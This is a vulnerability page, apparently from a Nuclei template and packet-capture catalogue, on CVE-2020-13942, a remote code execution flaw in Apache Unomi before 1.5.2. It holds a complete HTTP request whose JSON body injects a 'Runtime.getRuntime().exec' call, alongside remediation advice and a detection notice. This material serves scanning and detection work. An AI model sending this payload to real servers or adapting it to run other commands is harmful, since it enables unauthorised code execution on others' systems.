🔙 목록으로 돌아가기

CVE-2020-13942: Apache Unomi <1.5.2 - Remote Code Execution

TitleApache Unomi <1.5.2 - Remote Code Execution
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.
RemediationApache Unomi users should upgrade to 1.5.2 or later.
CVSS Score9.8
EPSS Score0.9432
CVE IDCVE-2020-13942
CWE IDCWE-74,CWE-20
Tags cve cve2020 apache rce vkev vuln

🔍 Vulnerability Description

Apache Unomi allows conditions to use OGNL and MVEL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process. This vulnerability affects all versions of Apache Unomi prior to 1.5.2.

🌐 HTTP Request

POST /context.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 344
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "filters": [

    {

      "id": "nvppa",

      "filters": [

        {

          "condition": {

            "parameterValues": {

              "nuclei": "script::Runtime.getRuntime().exec('id')"

            },

            "type": "profilePropertyCondition"

          }

        }

      ]

    }

  ],

  "sessionId": "nuclei"

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13942.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-13942.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A